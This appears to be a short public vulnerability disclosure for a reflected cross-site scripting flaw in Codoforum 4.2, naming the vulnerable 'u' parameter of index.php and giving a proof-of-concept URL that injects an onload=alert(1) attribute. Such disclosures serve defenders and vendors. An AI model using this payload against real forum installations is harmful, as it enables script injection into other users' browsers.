======================================================================== | # Title : codoforum 4.2 XSS vulnerability (reflected) | # Author : Mohamed diaa | # email : moha200@protonmail.com | # Tested on : chrome - windows 7 | # Version : 4.2 | # Vendor : https://codoforum.com/ ======================================================================== Request Method(s): [+] GET Vulnerable Function(s): [+] index.php Vulnerable Parameter(s): [+] u Proof of Concept (PoC): ======================== Cross-Site Scripting, also known as XSS, is one of the most common attacks carried out in web applications. The concept of XSS is to manipulate the client-side scripts of a web application to perform actions planned by a malicious user. Reflected Cross-Site Scripting occurs when data sent by the attacker to the application is displayed on the page without the need to be stored somewhere. [+] http://location/codoforum/index.php?u=%2fnaf3r%22%20onload%3dalert(1)%20vdkyo